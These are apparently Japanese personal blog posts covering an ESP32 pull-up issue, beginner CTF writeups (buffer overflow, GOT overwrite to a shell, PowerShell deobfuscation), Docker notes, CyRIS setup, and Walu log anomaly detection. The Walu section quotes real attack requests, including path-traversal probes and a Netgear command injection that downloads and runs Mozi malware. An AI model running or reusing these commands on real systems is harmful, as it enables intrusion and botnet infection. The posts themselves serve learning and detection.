ESP32に内蔵プルアップ抵抗はない(あるポートもある)
以下の現象が発生
ESP32-DevKitC-VE ESP32-WROVER-E開発ボードの D34、D35にタクトスイッチをつけたところ、 スイッチにさわっていないのに、スイッチの入力が不安定になり、ON/OFFを繰り返す現象が発生。 D13のタクトスイッチでは発生しない。
スイッチを押したままにすると安定します。
「プルアップ抵抗がないのでは?」とググったら以下の記事があり、
「プルアップ抵抗があるのに安定しないのか・・・」と絶望したところ、下のほうに答えがありました。
ESP32に内蔵プルアップ抵抗はあるか(ある)
https://qiita.com/no_clock/items/a3bc8a9816534cf8c930
IO34~IO39はプルアップしません
githubでの「これらの入力専用ピンにはPU/PD回路がありません」という回答に
「GPIO」なのに「入力専用」ピンという呼び方は納得いかない」などとつっこまれていました。
たしかに。。。
D34はプルアップ抵抗(4.7kΩ)を5Vに接続
D35のほうはD32へつなぎ変えを行って対応しました。
(参考)
プルアップ抵抗・プルダウン抵抗の値の決め方は?(初心者向け)
http://kairo-consulting.com/blog/%E3%83%97%E3%83%AB%E3%82%A2%E3%83%83%E3%83%97%E6%8A%B5%E6%8A%97%E3%83%BB%E3%83%97%E3%83%AB%E3%83%80%E3%82%A6%E3%83%B3%E6%8A%B5%E6%8A%97%E3%81%AE%E5%80%A4%E3%81%AE%E6%B1%BA%E3%82%81%E6%96%B9%E3%81%AF/
ESP32-dev-moduleのピンマップを確認する
https://leico.github.io/TechnicalNote/Arduino/esp32-pinmap
全く関係ないですが、以前、以下でハマったのを思い出しました。
M5Stack Aボタン連射機能回避の件
https://note.com/46u/n/nf105cd6a7934
これは自己解決できない・・・。
先人たちに感謝
SECCON Beginners CTF 2022 Writeup
SECCON Beginners CTF 2022
https://score.beginners.azure.noc.seccon.jp
のWriteupです
3問しか解けていませんが・・・
misc
H2
capture.pcapがあり、その中からフラグを探す
問題には以下のようなgo言語のスクリプト(一部のみ抜粋)が添付されていたため、
プロトコルhttp2で絞込を行い、送信元ポート番号8080で、レスポンス部分のみで絞り込んだ
その後、wiresharkの機能で"x-flag"を検索したところ、フラグが見つかった
func main() { handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if r.URL.Path == SECRET_PATH { w.Header().Set("x-flag", "<secret>") } w.WriteHeader(200) fmt.Fprintf(w, "Can you find the flag?\n") }) h2s := &http2.Server{} h1s := &http.Server{ Addr: ":8080", Handler: h2c.NewHandler(handler, h2s), }
crypto
CoughingFox
以下のスクリプトで暗号化されたフラグを渡される
from random import shuffle flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}" cipher = [] for i in range(len(flag)): print (i) f = flag[i] print (f) c = (f + i)**2 + i cipher.append(c) shuffle(cipher) print("cipher =", cipher)
元のスクリプトを読み、復号スクリプトを作る
結果がシャッフルされているので、べき乗がぴったり戻せる(整数になる)パターンを総当たりで探す
from random import shuffle import math flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}" #フラグ(シャッフル後) cipherB = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472] dic = {1: "A"} #結果を入れる #元に戻す処理 cnt = 0 for j in cipherB: #暗号文の数だけ繰り返す for i in range(len(flag)): #シャッフルされているので、すべての数について総当たりする c1 = j - i c2 = math.sqrt(c1) c3 = c2 - i if c3.is_integer(): #整数かどうか(位置が一致し、復号できる場合のみ) # iは元の位置 iの番号順に答えを並べなおすと、フラグが出てくる # asciiコードに戻す dic[i] = chr(int(c3)) #結果を追加する cnt +=1 #キーで並び替えする dic2 = sorted(dic.items()) # listの右側(値)だけ取り出し for v in dic2: print(v[1], end='') #改行なしで出力 print('')
$ python3 rev_problem2.py ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}
reversing
Quiz
stringsコマンドで見てみる
$ strings quiz : ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?} Welcome, it's time for the binary quiz! Q1. What is the executable file's format used in Linux called? Linux 1) ELM 2) ELF 3) ELR :
実行結果
$ ./quiz Welcome, it's time for the binary quiz! ようこそ、バイナリクイズの時間です! Q1. What is the executable file's format used in Linux called? Linuxで使われる実行ファイルのフォーマットはなんと呼ばれますか? 1) ELM 2) ELF 3) ELR Answer : 2 Correct! Q2. What is system call number 59 on 64-bit Linux? 64bit Linuxにおけるシステムコール番号59はなんでしょうか? 1) execve 2) folk 3) open Answer : 1 Correct! Q3. Which command is used to extract the readable strings contained in the file? ファイルに含まれる可読文字列を抽出するコマンドはどれでしょうか? 1) file 2) strings 3) readelf Answer : 2 Correct! Q4. What is flag? フラグはなんでしょうか? Answer : ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?} Correct! Flag is ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
機械学習による異常検知(ウェブアクセスログ)
環境
Ubuntu 20.04.3 LTS
以下のコードを試しに動かしてみただけの記事
環境作成が困難かと思われたが、意外とすんなり動作した
※本物のアクセスログは現在限定公開となっているため、動作確認のみ
本物のウェブアクセスログを使用した、機械学習による異常検知(全データ/ソースコード公開)
https://www.scutum.jp/information/waf_tech_blog/2021/01/waf-blog-077.html
JDKとantをインストール
参考 How to Install Apache Ant on Ubuntu 20.04 | 18.04
https://websiteforstudents.com/how-to-install-apache-ant-on-ubuntu-20-04-18-04/
JDK8をインストール
$ sudo apt update $ sudo apt-get install openjdk-8-jdk openjdk-8-doc
確認
$ java -version openjdk version "1.8.0_312" OpenJDK Runtime Environment (build 1.8.0_312-8u312-b07-0ubuntu1~20.04-b07) OpenJDK 64-Bit Server VM (build 25.312-b07, mixed mode)
antをインストール
$ sudo apt install ant
確認
$ ant -version Apache Ant(TM) version 1.10.7 compiled on October 24 2019
Walu(Web Application Log Unveiler)を動かしてみる
$ git clone https://github.com/Kanatoko/Walu.git
$ cd Walu
手元の環境ではメモリ4GBの仮想マシンのため、使用メモリ定義を下げる
$ vi run.sh #!/bin/sh --- ant #java -Xmx21G -Xms21G -XX:+UseG1GC -cp bin/:lib/* net.jumperz.app.MWalu.MWalu data/access.log java -Xmx3G -Xms3G -XX:+UseG1GC -cp bin/:lib/* net.jumperz.app.MWalu.MWalu data/access.log ---
アクセスログを追加(動くかどうかの確認のため4行だけ)
--- $ vi data/access.log 31.56.96.51 - - [22/Jan/2019:03:56:20 +0330] "GET /image/60847/productModel/200x200 HTTP/1.1" 200 5667 "https://www.zanbil.ir/m/filter/b113" "Mozilla/5.0 (Linux; Android 6.0; ALE-L21 Build/HuaweiALE-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Mobile Safari/537.36" "-" 5.160.157.20 - - [22/Jan/2019:03:56:49 +0330] "GET /browse/blu-ray HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0" "-" 216.244.66.248 - - [22/Jan/2019:03:57:30 +0330] "GET /robots.txt HTTP/1.1" 200 64 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)" "-" 5.116.244.10 - - [24/Jan/2019:10:58:13 +0330] "GET /rapidGrails/jsonList?maxColumns=16&(略) HTTP/1.1" 200 1337 "https://www.zanbil.ir/orderAdministration/console/187717" "Mozilla/5.0 (Windows NT 10.0; rv:64.0) Gecko/20100101 Firefox/64.0" "-" ---
コンパイルと実行
$ ./run.sh Buildfile: /home/user/Walu/build.xml build-subprojects: init: build-project: [echo] Walu: /home/user/Walu/build.xml build: BUILD SUCCESSFUL Total time: 0 seconds 2022-04-01 23:43:41.024 JST: Reading file data/access.log ... 2022-04-01 23:43:41.031 JST: Total number of lines: 4 2022-04-01 23:43:41.031 JST: Getting unique IP addresses ... 2022-04-01 23:43:41.036 JST: Total number of IPs: 4 2022-04-01 23:43:41.037 JST: Constructing vector list ... 2022-04-01 23:43:41.038 JST: Total number of vectors: 4 2022-04-01 23:43:41.038 JST: Building model ... ( treeNumber=1000 ,subSampleSize=10000 ) 2022-04-01 23:43:41.076 JST: Writing model as Java source code ... 2022-04-01 23:43:41.097 JST: Compiling model with ant ... 2022-04-01 23:43:43.631 JST: Model is successfully loaded. 2022-04-01 23:43:43.631 JST: Scoring vectors ... 2022-04-01 23:43:43.647 JST: Sorting results ... 2022-04-01 23:43:43.648 JST: Saving results ... 2022-04-01 23:43:43.649 JST: Total execution time:2625
結果を確認
$ ls data/ access.log result_all.txt result_by_ip.txt
※ログの説明は元記事(https://www.scutum.jp/information/waf_tech_blog/2021/01/waf-blog-077.html)より抜粋
result_all.txtは入力であるdata/access.logのすべての行について、先頭に異常さのスコアを加えたものになっています。 並び順はaccess.logと同じになっています。 この数値が低いほど異常、高いほど正常です。感覚的には0.2以下はかなり異常だと言えるアクセスになります。 $ cat data/result_all.txt 0.600 31.56.96.51 - - [22/Jan/2019:03:56:20 +0330] "GET /image/60847/productModel/200x200(略) 0.667 5.160.157.20 - - [22/Jan/2019:03:56:49 +0330] "GET /browse/blu-ray HTTP/1.1"(略) 0.592 216.244.66.248 - - [22/Jan/2019:03:57:30 +0330] "GET /robots.txt HTTP/1.1"(略) 0.354 5.116.244.10 - - [24/Jan/2019:10:58:13 +0330] "GET /rapidGrails/jsonList?maxColumns=16&domainClass=eshop.Order&(略)
アクセスがあったそれぞれのIPについて、最も異常だと判定された行をスコアと共に記録したファイルです。 並び順として、異常と判定された行から順番に並んでいるので、異常検知の結果としてはまずこちらのファイルを見ることになります。 $ cat data/result_by_ip.txt 0.354 5.116.244.10 - - [24/Jan/2019:10:58:13 +0330] "GET /rapidGrails/jsonList?maxColumns=(略) 0.592 216.244.66.248 - - [22/Jan/2019:03:57:30 +0330] "GET /robots.txt HTTP/1.1(略) 0.600 31.56.96.51 - - [22/Jan/2019:03:56:20 +0330] "GET /image/60847/productModel/200x200(略) 0.667 5.160.157.20 - - [22/Jan/2019:03:56:49 +0330] "GET /browse/blu-ray HTTP/1.1(略)
数件しかないのでこの結果には意味がないが、スコアは計算されている
なんとか動きそうなので、何かログを探して試してみたい
(追記)
少ないが、手持ちの約4500件のログを読み込ませる。
メモリ4GBの仮想マシンでも10.6秒ほどで完了。
ログの量が少ないのもあるが、マシンスペックを考えると驚くほど速い。
残念ながら、使ったログはほぼ個人利用のサーバなので、攻撃通信のほうが多い。
result_by_ip.txtのTOP3は以下(IPと時刻は削除)
0.196 "GET ///remote/fgt_lang?lang=/../../../..//////////dev/ HTTP/1.1" 502 166 "-" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.el7.x86_64" 0.201 "GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1" 502 166 "-" "Python-urllib/3.9" 0.227 "GET /plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=46ea1712d4b13b55b3f680cc5b8b54e8&map_legend=Traffic%20Load&map_stamp=Created%3A%2B%25b%2B%25d%2B%25Y%2B%25H%3A%25M%3A%25S&map_linkdefaultwidth=7 HTTP/1.1" 404 197 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"
それ以外抜粋(リクエスト先IPアドレスは伏字)
: 0.256 "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://xx.xx.xx.xx:49677/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 404 162 "-" "-" : 0.435 "GET / HTTP/1.1" 200 4833 "-" "-" "-" : 0.438 "GET /admin/config.php HTTP/1.1" 404 134 "-" "python-requests/2.27.1" 0.438 "GET /wp-login.php HTTP/1.1" 404 3650 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" "-"
調査などのシンプルなGETのアクセスはスコア0.4前後で下のほうに、
長い怪しいリクエストはスコア0.2前後で上のほうに来ているので、
大量のログの中から不審なアクセスを抽出するにはとてもよさそうです。
Docker Hub 上のリポジトリにpushしてみる
Dockerイメージを作成し、Docker Hub 上のリポジトリにpush/pullしてみたので、
メモとして残しておきます。
参考
Dockerを使って機械学習の環境を作ろうとした話
https://qiita.com/penpenta/items/3b7a0f1e27bbab56a95f
上記を参考にして、Dockerfile、requirements.txtを準備しておく
Dockerfile
FROM python:3.8.0 RUN apt-get update \ && apt-get upgrade -y \ # imageのサイズを小さくするためにキャッシュ削除 && apt-get clean \ && rm -rf /var/lib/apt/lists/* \ # pipのアップデート && pip install --upgrade pip # 作業するディレクトリを変更 WORKDIR /home/DeepLearning COPY requirements.txt ${PWD} # pythonのパッケージをインストール RUN pip install -r requirements.txt # 作業するディレクトリを変更 # コンテナの内部には入った際のディレクトリの位置を変更している WORKDIR /home/DeepLearning/src
requirements.txt
numpy pandas matplotlib scikit-learn
環境の準備
名前を付けて build
$ docker build --rm -t {イメージ名:タグ} {Dockerfileのパス} --rm : 構築に成功したら、全ての中間コンテナを削除 -t : '名前:タグ' 形式で名前とオプションのタグを指定
Dockerfile、requirements.txtをおいたディレクトリと同じ場所にcdで移動し、以下を実行
$ sudo docker build --rm -t deeplearning_env:latest .
確認
$ sudo docker images REPOSITORY TAG IMAGE ID CREATED SIZE python 3.8.0 0a3a95c81a2b 3 weeks ago 932MB deeplearning_env latest 6a4aaef11001 7 minutes ago 1.33GB
Docker Hubにイメージをあげる
参考
自分で作ったDockerイメージを非公開環境にあげてみた
https://qiita.com/Eita11/items/60c65319ed092028a250
イメージをあげる前にタグ名をつける
$ docker tag イメージID ユーザー名/リポジトリ名:タグ名で実施 $ sudo docker tag 4e98e84b5951 username1/c21-repo:1.0
確認
$ sudo docker images REPOSITORY TAG IMAGE ID CREATED SIZE username1/c21-repo 1.0 4e98e84b5951 24 minutes ago 1.87GB :
Dockerイメージをあげる
Docker Hubにアカウントを作成し、ブラウザからリポジトリを作成しておく
手元のLinux環境でdocker loginコマンドにてログインしておく
$ sudo docker login Username: username1 Password: WARNING! Your password will be stored unencrypted in /root/.docker/config.json. Login Succeeded
「docker push ユーザー名/リポジトリ名:タグ名」でコンテナをDocker Hubにpush
$ sudo docker push username1/c21-repo:1.0 The push refers to repository [docker.io/username1/c21-repo] cd1cbed40555: Pushed abf46b7b00f8: Pushed :
確認(pullしてみる)
docker Hubにあげたものをとってこれるか確認
ローカルにあるイメージを消す
$ sudo docker rmi -f 4e98e84b5951 Untagged: username1/c21-repo:1.0 Untagged: username1/c21-repo@sha256:2aa18aa8ed2670c3c3d28383dfbbcbda1d3c6add4ac8dab1aea1573e1c56a285 Untagged: username1/deeplearning_env:1.0 Deleted: sha256:4e98e84b595110b1065f5358805e0d1e5ef4c6407e7289ff791a99a706ee73d6 Deleted: sha256:49a72326fe0c72d89cea1833c0d5f21430f0dc6e13d243396f59babc697eda7a :
Docker Hubからpullする
$ sudo docker pull username1/c21-repo:1.0
確認
$ sudo docker images REPOSITORY TAG IMAGE ID CREATED SIZE username1/c21-repo 1.0 4e98e84b5951 35 minutes ago 1.87GB python 3.8.0 0a3a95c81a2b 2 years ago 932MB
起動
$ sudo docker run --rm -it -v /home/user/create_docker_img:/home/DeepLearning username1/c21-repo:1.0 /bin/bash root@019fef5d7842:/home/DeepLearning/src#
--rm:コンテナから抜けるとコンテナを削除
-i:コマンドなどの入力情報をコンテナまで伝える(ないとコマンドの応答が返れないなどの影響がでる)
-t:コンソールの標準出力とコンテナの標準出力をつなげる
-v:ホストのファイルをコンテナにマウント {ホストのパス}:{コンテナのパス}
ここで打ち込んだコマンドが、コンテナ内で実行される
ホストのファイルをコンテナにマウントしているため、
ソースファイルなどはホスト側を参照すればよい
また、出力結果もホスト側に出力すればよい
# python3 --version Python 3.8.0
別のターミナルから起動しているコンテナ情報を確認
$ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 019fef5d7842 username1/c21-repo:1.0 "/bin/bash" 25 minutes ago Up 25 minutes cranky_saha
WaniCtf2021-writeup(簡単なもののみ)
簡単なもののみですが、備忘録としてあげておきます。
Crypto
fox
171pt Beginner
What does the fox say?🦊 flag = b"FAKE{REDACTED}" def bytes_to_int(B: bytes): X = 0 for b in B: X <<= 8 X += b return X print(bytes_to_int(flag))
上記プログラムの結果(1911698951・・・)が与えられ、元の文字列を復元する問題
8bitビットシフトした後に、フラグの数値(ASCIIコード値)を加算しているだけなので、
結果の数値を2進数に直してから、8bit区切りでASCIIコードとして戻す
pythonで2進数に直す
$ python >>> bin(19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197) '0b10001100100110001000001010001110111101101010010001100010110111001100111010111110110010000110001011011100011100101011111011001000110100101101110011001110101111101100100001100010110111001100111010111110110010001101001011011100110011100110011011100100110100101101110011001110011001101100100011010010110111001100111001111110101111101011111010101110110000101011111011100000100000001011111011100000110000101011111011100000100000001011111011100000110000101011111011100000100000001011111011100000110111101110111001111110101111101011111011011110111001001011111011010110110111101101110011010110110111100101101011011100011111101111101'
頭に0を1つ補って、CyberChefのFrom Binaryで戻す
010001100100110001000001010001110111101101010010001100010110111001100111010111110110010000110001011011100011100101011111011001000110100101101110011001110101111101100100001100010110111001100111010111110110010001101001011011100110011100110011011100100110100101101110011001110011001101100100011010010110111001100111001111110101111101011111010101110110000101011111011100000100000001011111011100000110000101011111011100000100000001011111011100000110000101011111011100000100000001011111011100000110111101110111001111110101111101011111011011110111001001011111011010110110111101101110011010110110111100101101011011100011111101111101 FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}
Forensics
propaganda
156pt Beginner
超人気ゲームをみんなでプレイしよう! (動画ファイルが渡される)
動画内に、一瞬何か見える 動画データから画像を取り出して保存する
5~7秒を24コマで取り出し
$ ffmpeg -i flag.mp4 -ss 5 -t 7 -r 24 -f image2 %06d.jpg
画像からフラグを手入力する
FLAG{Stand_tall_We_are_Valorant_We_are_fighters!}
sonic
209pt Easy
妖怪からのメッセージです. 音量注意!
タイトルより、Sonic Visualiserを使いそう
https://www.sonicvisualiser.org/download.html
以下を参考にメニューより、Pane > Add Spectrogramを選択
https://dev.to/k0p1/stacks-2020-ctf-voices-in-the-head-forensic-1bea
FLAG{Messages_du_spectre}
Pwn
nc
155pt Beginner
nc nc.pwn.wanictf.org 9001 ヒント netcat (nc)と呼ばれるコマンドを使うだけです。 つないだら何も出力されなくてもLinuxコマンドを打ってenterを入力してみましょう。 Linuxの基本的なコマンド集 pwnの問題ではシェルが取れたときに何も出力されないので分かり辛いですが、 とりあえずlsとか実行してみるとシェルが取れてたりすることがあります。
言われたとおりにやってみる
$ nc nc.pwn.wanictf.org 9001 welcome to WaniCTF 2021!!! ls chall flag.txt redir.sh cat flag.txt FLAG{the-1st-step-to-pwn-is-netcatting}
BOF
168pt Beginner
よーし、今日も魔王を倒しに行くか! ...あれ、ふっかつのじゅもんが違う...だと...? nc bof.pwn.wanictf.org 9002
タイトルがBOFなので、長い文字列を渡してみる
$ nc bof.pwn.wanictf.org 9002 ふっかつのじゅもんを いれてください aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa よくぞもどられた! FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}
got rewriter
181pt Easy
nc got-rewriter.pwn.wanictf.org 9003 ヒント 「参考になるwriteupを探す練習」用の問題です。 CTFではwriteupを探すと過去の問題で参考になる情報が載っているページがあったりすることが多く、 それを読みながら少しずつ自分の技術力を高めていきます。 この問題ではgot rewriter writeup WaniCTFでググると参考になるページが出てくるかもしれません。
問題にはソースコードとバイナリがついている
問題サーバにncで接続すると、目標となるwin関数のアドレスが表示される。
また、書き換えるアドレスを指定できる。
$ nc got-rewriter.pwn.wanictf.org 9003 Welcome to GOT rewriter!!! win = 0x400807 Please input target address (0x600000-0x700000):
C言語のソース。ここに到達すればシェルをとれる
void win() { printf("congratulation!\n"); system("/bin/sh"); exit(0); }
バイナリをobjdumpで見てみる。
$ objdump -d -M intel got > objdump_result.txt (略) 00000000004006d0 <printf@plt>: 4006d0: ff 25 62 09 20 00 jmp QWORD PTR [rip+0x200962] # 601038 <printf@GLIBC_2.2.5> 4006d6: 68 04 00 00 00 push 0x4 4006db: e9 a0 ff ff ff jmp 400680 <.plt> (略) 0000000000400807 <win>: 400807: 55 push rbp 400808: 48 89 e5 mov rbp,rsp 40080b: 48 8d 3d a6 02 00 00 lea rdi,[rip+0x2a6] # 400ab8 <_IO_stdin_used+0x8> 400812: e8 79 fe ff ff call 400690 <puts@plt> 400817: 48 8d 3d aa 02 00 00 lea rdi,[rip+0x2aa] # 400ac8 <_IO_stdin_used+0x18> 40081e: e8 9d fe ff ff call 4006c0 <system@plt> 400823: bf 00 00 00 00 mov edi,0x0 400828: e8 e3 fe ff ff call 400710 <exit@plt> (略)
よくわからないが、printf関数は使われていそうなので、ここを書き換えてみる。
$ nc got-rewriter.pwn.wanictf.org 9003 Welcome to GOT rewriter!!! win = 0x400807 Please input target address (0x600000-0x700000): 601038 Your input address is 0x601038. Please input rewrite value: 400807 Your input rewrite value is 0x400807. *0x601038 <- 0x400807. congratulation! ls chall flag.txt redir.sh cat flag.txt FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}
Reversing
ltrace
176pt Beginner
この問題はltraceで解ける...ってコト!? $ sudo apt-get install -y ltrace $ ltrace --help ヒント : オプションをよく確認しよう
まずは使ってみる
$ ltrace ./rev-ltrace printf("Input flag : ") = 13 __isoc99_scanf(0x5648ef58a012, 0x7ffde6f31920, 0, 0Input flag : a ) = 1 strcmp("a", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4"...) = 27 puts("Incorrect"Incorrect ) = 10 +++ exited (status 1) +++
入力した文字列とを比較している部分が見えるが、フラグが全部表示されない。
コマンドオプションを確認する。
表示サイズを指定すると全部表示された。
$ ltrace -s 999 ./rev-ltrace printf("Input flag : ") = 13 __isoc99_scanf(0x55e5ae5df012, 0x7fffb7a8faf0, 0, 0Input flag : a ) = 1 strcmp("a", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}") = 27 puts("Incorrect"Incorrect ) = 10 +++ exited (status 1) +++
pwsh
203pt Easy
Power!!! Installing PowerShell on Ubuntu <https://docs.microsoft.com/en-us/powershell/scripting/install/install-ubuntu?view=powershell-7.1#installation-via-package-repository>
実行すると以下のようになるPowerShellスクリプトが与えられる。
PowerShellスクリプトは難読化されている。
$ pwsh PowerShell 7.2.0 (略) PS /home/user/Downloads> ./pwsh2.ps1 Welcome to the world of PowerShell! Password: a Incorrect
PowerShellスクリプトを見ると、VErboSEPReFErencE.TostRIngで実行しているので、
ここをechoに変更してみる。以下のように直してから実行。
(("{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}"-f ' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{ Writ','l}','_','o ','r','W4Incor','w3r5h3l','W',' ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4 ','W4Co','d','e','rrect!cW4 } ','rec','tcW4 } ',' {','tput c','cW4Welcome to t','f',' Write-Ou',' if ')).replACe('cW4',[STRiNg][CHAr]34).replACe('8r3',[STRiNg][CHAr]95).replACe('fj7',[STRiNg][CHAr]36) |& echo
以下のように処理内容が見えるようになった。
PS /home/user/Downloads> ./pwsh2.ps1 echo "Welcome to the world of PowerShell!" $input = Read-Host "Password" if ($input -eq "FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}") { Write-Output "Correct!" } else { Write-Output "Incorrect" }
Web
POST Challenge
240pt Easy
HTTP POSTに関する問題を5つ用意しました。すべて解いてFLAGを入手してください! FLAGの形式は FLAG{[Challenge1のFLAG]_[Challenge2のFLAG]_[Challenge3のFLAG]_[Challenge4のFLAG]_[Challenge5のFLAG]} https://post.web.wanictf.org/
https://post.web.wanictf.org/chal/1に適切なデータをPOSTしてください app.post("/chal/1", function (req, res) { let FLAG = null; if (req.body.data === "hoge") { FLAG = process.env.FLAG_PART1; } res.render("chal", { FLAG, chal: 1 }); });
$ curl https://post.web.wanictf.org/chal/1 -X POST -d 'data=hoge' -v Congratulations! Challenge 1 FLAG: y0u
以下でも可。Content-Type指定が必要なことに注意
$ curl https://post.web.wanictf.org/chal/1 -H "Content-Type: application/json" -A "Mozilla/5.0" -X POST -d '{"data":"hoge"}' -v
https://post.web.wanictf.org/chal/2に適切なデータをPOSTしてください app.post("/chal/2", function (req, res) { // リクエストヘッダのUser-AgentにどのブラウザでもついているMozilla/5.0がある場合のみFLAGを送信 let FLAG = null; if ( req.headers["user-agent"].includes("Mozilla/5.0") && req.body.data === "hoge" ) { FLAG = process.env.FLAG_PART2; } res.render("chal", { FLAG, chal: 2 }); });
UA追加して送信する
$ curl https://post.web.wanictf.org/chal/2 -A "Mozilla/5.0" -X POST -d 'data=hoge' -v Congratulations! Challenge 2 FLAG: ar3
https://post.web.wanictf.org/chal/3に適切なデータをPOSTしてください app.post("/chal/3", function (req, res) { let FLAG = null; if (req.body.data?.hoge === "fuga") { FLAG = process.env.FLAG_PART3; } res.render("chal", { FLAG, chal: 3 }); });
curl https://post.web.wanictf.org/chal/3 -H "Content-Type: application/json" -X POST -d '{"data":{"hoge":"fuga"}}' Congratulations! Challenge 3 FLAG: http
https://post.web.wanictf.org/chal/4に適切なデータをPOSTしてください app.post("/chal/4", function (req, res) { let FLAG = null; if (req.body.hoge === 1 && req.body.fuga === null) { FLAG = process.env.FLAG_PART4; } res.render("chal", { FLAG, chal: 4 }); });
うまくいかず
$ curl https://post.web.wanictf.org/chal/4 -H "Content-Type: application/json" -X POST -d '{"hoge":1, "fuga":""}' -v
https://post.web.wanictf.org/chal/5に適切なデータをPOSTしてください function md5file(filePath) { const target = fs.readFileSync(filePath); const md5hash = crypto.createHash("md5"); md5hash.update(target); return md5hash.digest("hex"); } app.post("/chal/5", function (req, res) { let FLAG = null; if (req.files?.data?.md5 === md5file("public/images/wani.png")) { FLAG = process.env.FLAG_PART5; } res.render("chal", { FLAG, chal: 5 }); });
CTF問題画面にいるワニの画像を送信
$ wget https://post.web.wanictf.org/images/wani.png
でワニの画像をダウンロードしておく
よくわからないが、ファイル名の前に@をつけることに注意
$ curl https://post.web.wanictf.org/chal/5 -A "Mozilla/5.0" -X POST -F "data=@wani.png" -v Congratulations! Challenge 5 FLAG: m@ster!
FLAG{y0u_ar3_http_p0st_m@ster!}
運営writeupが公開されていました。
https://github.com/wani-hackase/wanictf2021-writeup
CyRISをインストールしてみる(途中まで)
Cyber RangeのCyRISをインストールしてみました。
マニュアル はあるのですが、コマンドイメージや必要なパッケージの記載がないため苦戦しており、いまだに起動できていませんが、途中まで公開しておきます。
※本来は実機で動かすものなのですが、練習なので仮想マシンで試しています。
Cyber Range Organization and Design Chair
https://github.com/crond-jaist?_fsi=yQAhRMTi
CyRIS
https://github.com/crond-jaist/cyris/releases/
マニュアル
https://github.com/crond-jaist/cyris/releases/download/1.2/cyris-1.2-guide.pdf
(追記)「Cy-series インストールガイド」も参考になります
https://www.jaist.ac.jp/is/labs/chinen-lab/#products
必要パッケージインストール
$ sudo apt install net-tools ssh cpu-checker
事前準備
VMware Player上のLinuxで、KVMを使う
https://kazuhira-r.hatenablog.com/entry/20180727/1532703682
VMware Player上のLinuxでKVMを使うには、Intel VTを使うように設定しておく必要がある
プロセッサ→[Intel VT-x/EPT または AMD-V/RVI を仮想化]にチェック
ubuntu に qemu kvm を入れて仮想マシンを作る準備をする
https://takuya-1st.hatenablog.jp/entry/2021/01/06/164842
KVMが使えるか調べる
$ sudo apt install cpu-checker $ kvm-ok INFO: /dev/kvm exists KVM acceleration can be used
必要パッケージインストール
$ sudo apt -y install qemu-kvm libvirt-daemon-system libvirt-daemon virtinst bridge-utils libguestfs-tools virt-top git pssh sshpass netscript-2.4
確認
$ sudo systemctl status libvirtd ● libvirtd.service - Virtualization daemon Loaded: loaded (/lib/systemd/system/libvirtd.service; enabled; vendor pres> Active: active (running) since Sat 2021-10-30 09:29:12 JST; 40s ago
ubuntu ユーザを追加して sudo 権限をつける
https://qiita.com/white_aspara25/items/c1b9d02310b4731bfbaa
ユーザの作成
$ sudo adduser cyuser
sudo グループにcyuserを追加
$ sudo gpasswd -a cyuser sudo Adding user cyuser to group sudo
パスワードなしでsudoできるように変更
$ sudo visudo # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL cyuser ALL=NOPASSWD: ALL ←追記
libvirt グループにcyuserを追加
$ sudo usermod -aG libvirt cyuser
